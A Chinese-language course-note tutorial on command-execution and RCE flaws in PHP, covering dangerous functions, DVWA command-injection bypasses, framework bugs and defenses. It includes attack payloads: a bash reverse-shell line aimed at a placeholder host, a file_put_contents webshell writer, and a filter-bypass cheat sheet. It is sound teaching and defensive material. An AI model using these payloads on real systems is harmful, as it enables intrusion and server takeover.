命令执行基础漏洞原理
目录
本文根据深信服 SCSA-S 课程《命令执行》五节课件整理,讲命令执行的定义与条件、远程代码执行函数、系统命令执行函数、管道符与过滤绕过、DVWA 源码分析、常见框架漏洞与防御。靶场部分见《RCE 基础漏洞 CTFHub 实战 11 题》。
引言
命令执行漏洞指攻击者可以控制应用程序执行的系统命令或代码。按执行对象不同,通常分为两类:
- 远程代码执行(Remote Code Execution,RCE):攻击者控制
eval()、assert()等代码执行入口,执行任意 PHP 代码; - 系统命令执行(System Command Execution):攻击者控制
system()、exec()等函数参数,执行操作系统命令。
两类漏洞的成因相同:用户输入进入了本应执行代码或命令的入口,且没有经过严格过滤。
一、命令执行漏洞概述
1.1 定义
课件给出的定义是:
命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执行两类。
原理是:程序应用有时需要调用执行系统命令的函数,例如 PHP 中的 system、exec、shell_exec、passthru、popen、proc_popen 等。当用户能控制这些函数的参数时,就可以把恶意系统命令拼接到正常命令中,形成命令执行攻击。
1.2 利用条件
命令执行漏洞需要同时满足两个条件:
- 用户能够控制函数的输入;
- 存在可以执行代码或系统命令的危险函数。
如果函数参数是固定值,或者用户输入被严格限制在白名单内,就不具备利用条件。
1.3 成因
课件总结了两点:
- 开发人员编写源码时,没有针对可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行;
- 命令注入攻击中,Web 服务器没有过滤类似
system、eval、exec等函数,是该漏洞攻击成功的主要原因。
本质上,这是输入校验缺失与危险函数暴露共同作用的结果,而不是某一个函数单独的问题。
1.4 危害
命令执行漏洞的危害包括:
- 继承 Web 服务程序的权限执行系统命令或读写文件;
- 反弹 Shell;
- 控制整个网站甚至服务器;
- 进一步进行内网渗透。
危害程度取决于 Web 进程的运行权限。以 root 或 Administrator 运行时,攻击者可以直接控制服务器;以低权限用户运行时,攻击者仍需提权,但仍可读取应用配置、数据库凭证和业务数据。
1.5 常见场景
课件列出的常见场景:
- Ping 主机:用户输入 IP,服务端拼接
ping命令; - DNS 请求:用户输入域名,服务端调用
nslookup、dig等命令; - Office 文档:文档转换、预览功能调用外部程序;
- 框架缺陷:Spring、Struts2、模板引擎等存在表达式注入或代码执行。
这些场景的共同点是:业务需要调用外部命令或解释器,而用户输入参与了命令拼接。
二、远程代码执行
远程代码执行指攻击者控制 PHP 代码执行入口。课件列出的相关函数与语言结构包括:
| 入口 | 说明 |
|---|---|
eval() |
把字符串作为 PHP 代码执行 |
assert() |
断言,历史上可执行字符串 |
preg_replace() |
使用 /e 修饰符时,替换内容会被当作 PHP 代码执行 |
call_user_func() |
调用回调函数,回调和参数可控时可执行任意函数 |
$a($b) |
可变函数,变量 $a 的值作为函数名调用 |
2.1 eval()
eval() 是语言结构,不是普通函数。它把参数字符串作为 PHP 代码解析执行。
脆弱代码:
<?php$arg = $_GET['arg'];eval($arg);?>请求:
?arg=phpinfo();phpinfo() 会被执行。如果参数可控,攻击者可以执行任意 PHP 代码,包括读写文件、执行系统命令、连接数据库。
2.2 assert()
assert() 用于断言。在较早的 PHP 版本中,传入字符串时会被当作 PHP 代码执行。不同版本的行为差异较大:
- PHP 5:
assert('phpinfo()')可以执行; - PHP 7:
assert()成为语言结构,字符串参数的处理受到限制; - PHP 8:不再支持字符串形式的代码执行。
因此,assert() 的利用需要结合具体 PHP 版本判断。课程中将其列为远程代码执行入口,是因为历史版本中存在字符串执行行为。
2.3 preg_replace() 与 /e 修饰符
preg_replace() 用于正则替换。当 pattern 中存在 /e 修饰符时,replacement 会被当作 PHP 代码执行。
示例:
<?php$pattern = '/test/e';$replacement = $_GET['code'];preg_replace($pattern, $replacement, 'test');?>/e 修饰符在 PHP 5.5.0 中被废弃,在 PHP 7.0.0 中被移除。现代 PHP 环境中一般不再存在该利用方式,但历史代码和老系统仍可能遇到。
2.4 call_user_func()
call_user_func() 调用回调函数:
<?php$func = $_GET['func'];$arg = $_GET['arg'];call_user_func($func, $arg);?>如果 func 和 arg 都可控,攻击者可以调用任意函数,例如 system、exec、file_get_contents。这类漏洞的本质是回调函数与参数同时暴露给用户。
2.5 可变函数 $a($b)
PHP 支持可变函数:变量的值作为函数名。
<?php$a = $_GET['a'];$b = $_GET['b'];$a($b);?>请求 ?a=system&b=id 时,等价于执行 system('id')。可变函数本身是语言特性,问题在于函数名和参数都来自用户输入。
2.6 远程代码执行的利用
代码执行入口可以直接调用 PHP 文件系统函数或系统命令函数。课件的利用示例包括:
- 读取文件:
?a=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));- 获取当前文件绝对路径:
?a=print(__FILE__);- 写入文件:
?a=var_dump(file_put_contents($_POST[1], $_POST[2]));配合 POST 参数 1=shell.php&2=<?php phpinfo();?>,可以向指定路径写入 PHP 文件。
- 执行系统命令:
?a=system('whoami');代码执行与系统命令执行的边界并不绝对:代码执行可以调用 system() 等函数,系统命令执行也可以反过来写入 PHP 文件,二者经常组合使用。
三、系统命令执行
系统命令执行指攻击者控制 system()、exec() 等函数的参数,让操作系统执行任意命令。
3.1 常见函数
| 函数 | 行为 |
|---|---|
system() |
执行命令并直接输出结果,返回最后一行输出 |
exec() |
执行命令,返回最后一行,完整输出存入数组参数 |
shell_exec() |
通过 Shell 执行命令,以字符串形式返回完整输出 |
passthru() |
执行命令并直接输出二进制数据,适合处理图片、压缩包等 |
popen() |
打开进程管道,返回文件指针,需配合 fread() 读取 |
反引号 ` |
执行命令并返回输出,等价于 shell_exec() |
这些函数的共同点是:参数会交给 Shell 解释执行。只要参数中包含 Shell 元字符,就可能拼接出额外命令。
3.2 脆弱代码
<?php$ip = $_GET['ip'];system("ping -c 4 " . $ip);?>正常请求:
?ip=127.0.0.1实际执行:
ping -c 4 127.0.0.1攻击者传入:
?ip=127.0.0.1; id实际执行:
ping -c 4 127.0.0.1; id; 是 Shell 的命令分隔符,ping 执行完后继续执行 id。
3.3 利用方式
系统命令执行后,攻击者可以:
- 查看当前用户与权限:
whoami、id; - 列目录:
ls、dir; - 读文件:
cat、type、tail、more; - 写文件:
echo "<?php phpinfo();?>" > shell.php; - 反弹 Shell:
bash -i >& /dev/tcp/ip/port 0>&1; - 下载文件:
wget、curl; - 横向移动:探测内网、读取凭证。
Windows 与 Linux 的命令不同:
| 操作 | Linux | Windows |
|---|---|---|
| 列目录 | ls、ls -la |
dir |
| 读文件 | cat、tail、head |
type、more |
| 当前路径 | pwd |
cd |
| 当前用户 | whoami、id |
whoami |
| 写文件 | echo ... > file |
echo ... > file |
四、管道符、命令拼接与过滤绕过
4.1 Linux 常见符号
| 符号 | 行为 |
|---|---|
; |
顺序执行,前一条结束后执行后一条 |
| |
管道,前一条的输出作为后一条的输入 |
|| |
前一条失败时才执行后一条 |
& |
把前一条放到后台执行,同时执行后一条 |
&& |
前一条成功时才执行后一条 |
| 换行 | 等价于命令分隔符 |
$()、反引号 |
命令替换,把执行结果嵌入当前命令 |
示例:
127.0.0.1; id127.0.0.1 && id127.0.0.1 || id127.0.0.1 | id4.2 Windows 常见符号
| 符号 | 行为 |
|---|---|
& |
顺序执行多条命令,前一条失败也继续 |
&& |
前一条成功才执行后一条 |
| |
管道,执行后一条命令 |
|| |
前一条失败才执行后一条 |
Windows 下常见的测试命令是 whoami、dir、type、ipconfig。
4.3 过滤绕过的层次
命令执行绕过需要区分三个处理层次:
- URL 解码:Web 服务器或框架把
%0a、%09、%20还原为换行、制表符、空格; - PHP 过滤:代码中的
preg_match、str_replace等对参数做黑名单替换; - Shell 解析:最终交给
/bin/sh或cmd.exe解释执行。
绕过方法通常利用这三层之间的差异。
空格过滤
${IFS}:Shell 的内部字段分隔符,展开为空白;$IFS:同上,但后面不能紧跟字母数字;%09:URL 编码的制表符,可作为分隔符;<:输入重定向,例如cat<flag;{cat,flag}:花括号展开,部分 Shell 支持。
示例:
cat${IFS}flagcat<flag关键字过滤
- 通配符:
fla?、fla*; - 引号拼接:
c'a't、"c"at; - 反斜杠:
ca\t; - 变量拼接:
a=fl;b=ag;cat $a$b; - 替代命令:
tac、tail、more、less、head、nl、od。
分隔符过滤
%0a:换行符,可作为命令分隔符;%0d:回车符;%09:制表符,可作为空白;%20:空格。
目录分隔符过滤
- 使用
cd进入目录,再用通配符匹配文件名,避免在参数中出现/; - 例如
cd flag_is_here; cat flag*。
运算符过滤
- 使用
<重定向代替管道; - 使用
base64读取文件,再在本地解码; - 使用
$()或反引号进行命令替换。
这些方法不是固定公式,需要根据目标过滤规则调整。核心思路是:确认哪些字符被过滤、哪些字符会被解码、最终 Shell 如何解析。
五、DVWA 命令注入源码分析
DVWA(Damn Vulnerable Web Application)是一个用于安全练习的 PHP/MySQL 应用。课件用它的 Command Injection 模块说明黑名单过滤的局限性。
5.1 Low 级别
Low 级别没有对 ip 参数做过滤,直接把用户输入拼接到 ping 命令:
$cmd = shell_exec('ping -c 4 ' . $_POST['ip']);输入:
127.0.0.1 && whoami&& 使 whoami 在前一条命令成功后执行。也可以使用 ;、| 等符号。
5.2 Medium 级别
Medium 级别使用黑名单替换:
$ip = str_replace(array('&&', ';'), '', $_POST['ip']);它删除了 && 和 ;,但仍然存在绕过方式:
&没有被过滤,可以直接使用;&;&经过替换后,;被删除,剩下&&,仍可拼接命令;|没有被过滤。
示例:
127.0.0.1&;&ipconfig这说明只删除部分字符串的黑名单不可靠:替换操作可能重新组合出新的危险字符。
5.3 High 级别
High 级别使用更严格的黑名单,但替换逻辑仍有缺陷:
$ip = str_replace('| ', '', $_POST['ip']);它删除的是“竖线 + 空格”,如果输入中没有空格,| 会保留:
127.0.0.1|net user黑名单看似覆盖了常见字符,但只要替换规则与实际输入形式不完全匹配,就可能被绕过。
5.4 结论
DVWA 的三个级别说明:
- 黑名单很难覆盖所有 Shell 元字符和组合形式;
- 字符串替换可能产生新的危险组合;
- 防御应使用白名单校验,而不是依赖黑名单。
六、常见框架与模板注入
命令执行不只出现在自定义函数中,框架和模板引擎也可能提供代码执行入口。
6.1 Spring WebFlow(CVE-2017-4971)
Spring WebFlow 是用于开发流程化应用的框架,例如购物流程。2.4.x 版本中,如果攻击者控制了数据绑定时的 field,可以触发 SpEL 表达式注入,最终执行任意命令。
这类漏洞的入口是数据绑定:用户提交的字段名或字段值进入了表达式解析器,而不是普通字符串处理。
6.2 服务端模板注入(SSTI)
Flask 使用 Jinja2 作为模板引擎。如果应用把用户输入直接拼接进模板,而不是作为变量传入,就可能产生服务端模板注入(Server-Side Template Injection,SSTI)。
典型检测方式是提交模板表达式,例如:
{{7*7}}如果页面返回 49,说明表达式被模板引擎执行。进一步利用可以读取配置、执行命令,具体取决于模板引擎的能力和沙箱配置。
6.3 Struts2 S2-053
S2-053 影响 Struts 2.0.1 至 2.3.33、2.5 至 2.5.10。Struts2 会对某些标签属性的值进行二次表达式解析:
- 使用 Freemarker 模板引擎时,用户输入先被 Freemarker 解析;
- 解析结果再次被 OGNL 解析;
- 两次解析使原本的普通字符串变成 OGNL 表达式,导致远程代码执行。
这类漏洞的根因是表达式解析层次过多:同一个输入被多个解析器处理,安全边界被削弱。
七、防御
7.1 避免调用外部命令
优先使用语言内置函数或库完成功能:
- 网络探测使用编程语言的网络库,而不是拼接
ping; - 文件操作使用文件 API,而不是
ls、cat; - 图片处理使用图像库,而不是调用 ImageMagick 命令行。
如果业务必须调用外部命令,应使用参数数组形式,避免经过 Shell:
$process = proc_open(['ping', '-c', '4', $ip], $descriptors, $pipes);数组形式不会把参数交给 Shell 解析,;、|、&& 等字符不会被当作命令分隔符。
7.2 转义与白名单
PHP 提供两个转义函数:
escapeshellarg():把参数作为单个 Shell 参数转义;escapeshellcmd():转义 Shell 元字符。
示例:
$ip = $_GET['ip'];if (!filter_var($ip, FILTER_VALIDATE_IP)) { exit('Invalid IP');}$cmd = 'ping -c 4 ' . escapeshellarg($ip);system($cmd);白名单校验优先于转义:如果参数只能是 IP 地址,就用 filter_var 验证;如果参数只能是固定选项,就用数组映射。
7.3 PHP 配置
disable_functions:禁用system、exec、shell_exec、passthru、popen、proc_open等函数;open_basedir:限制 PHP 可访问的目录;safe_mode已在 PHP 5.4.0 移除,safe_mode_exec_dir仅适用于更早版本;- 关闭不必要的扩展和危险函数。
disable_functions 不是完整防御:攻击者可能通过 LD_PRELOAD、putenv、mail、imap 等方式绕过。它应与其他措施配合使用。
7.4 权限与隔离
- Web 进程以低权限用户运行;
- 使用容器、沙箱、SELinux、AppArmor 限制命令执行范围;
- 禁止 Web 进程访问敏感目录和凭证;
- 限制出网,降低反弹 Shell 和横向移动的成功率。
7.5 代码执行入口的防御
- 不使用
eval()、assert()处理用户输入; - 不使用带
/e修饰符的preg_replace(); - 不使用用户输入作为
call_user_func()的回调或参数; - 不使用可变函数调用用户指定的函数;
- 模板引擎开启沙箱,禁止执行任意表达式。
7.6 框架与依赖
- 及时升级 Spring、Struts2、Flask 等框架;
- 关注框架安全公告;
- 不在模板中拼接用户输入;
- 对数据绑定字段做白名单限制。
7.7 监控与审计
- 记录命令执行相关函数的调用;
- 监控异常子进程、出站连接和敏感文件访问;
- 对 Web 目录写入、
/tmp执行等行为告警; - 定期进行代码审计和依赖扫描。
八、总结
命令执行漏洞的核心是用户输入进入代码或命令执行入口。需要掌握:
- 两类命令执行:远程代码执行与系统命令执行;
- 危险入口:
eval、assert、preg_replace /e、call_user_func、可变函数,以及system、exec、shell_exec、passthru、popen、反引号; - 拼接符号:Linux 的
;、|、||、&、&&、换行、命令替换;Windows 的&、&&、|、||; - 过滤绕过:空格、关键字、分隔符、目录分隔符、运算符,以及 URL 解码、PHP 过滤、Shell 解析三层差异;
- 防御:避免外部命令、参数数组、
escapeshellarg、白名单、disable_functions、低权限、容器隔离、框架升级。
命令执行漏洞的利用通常需要结合目标环境:操作系统、Shell、PHP 版本、过滤规则、Web 进程权限。测试时应逐项确认,而不是直接套用固定 payload。